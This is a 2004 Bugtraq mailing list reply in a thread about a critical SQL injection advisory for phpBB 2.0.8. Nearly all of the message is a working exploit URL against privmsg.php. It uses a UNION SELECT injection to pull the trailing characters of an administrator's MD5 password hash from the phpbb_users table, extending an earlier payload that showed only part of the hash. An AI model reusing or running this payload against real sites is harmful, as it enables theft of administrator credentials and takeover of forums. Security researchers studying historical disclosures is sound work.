Bugtraq mailing list archives
Re: [waraxe-2004-SA#013 - Critical sql injection bug in PhpBB 2.0.8 and in older versions]
From: Benjamin Tolman <rituel () voila fr>
Date: 27 Mar 2004 23:43:56 -0000
In-Reply-To: <20040326193014.24220.qmail () www securityfocus com> It works but only display 25 chars of the MD5, to display the last 7 chars just do : privmsg.php?folder=savebox&mode=read&p=99&pm_sql_user=AND%20pm.privmsgs_type=-99%20UNION%20SELECT%20username,null,right%28user_password,7%29,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null%20FROM%20phpbb_users%20WHERE%20user_level=1%20LIMIT%201/* Benjamin Tolman Rituel () voila fr
Current thread:
- Re: [waraxe-2004-SA#013 - Critical sql injection bug in PhpBB 2.0.8 and in older versions] JeiAr (Mar 26)
- <Possible follow-ups>
- Re: [waraxe-2004-SA#013 - Critical sql injection bug in PhpBB 2.0.8 and in older versions] Benjamin Tolman (Mar 29)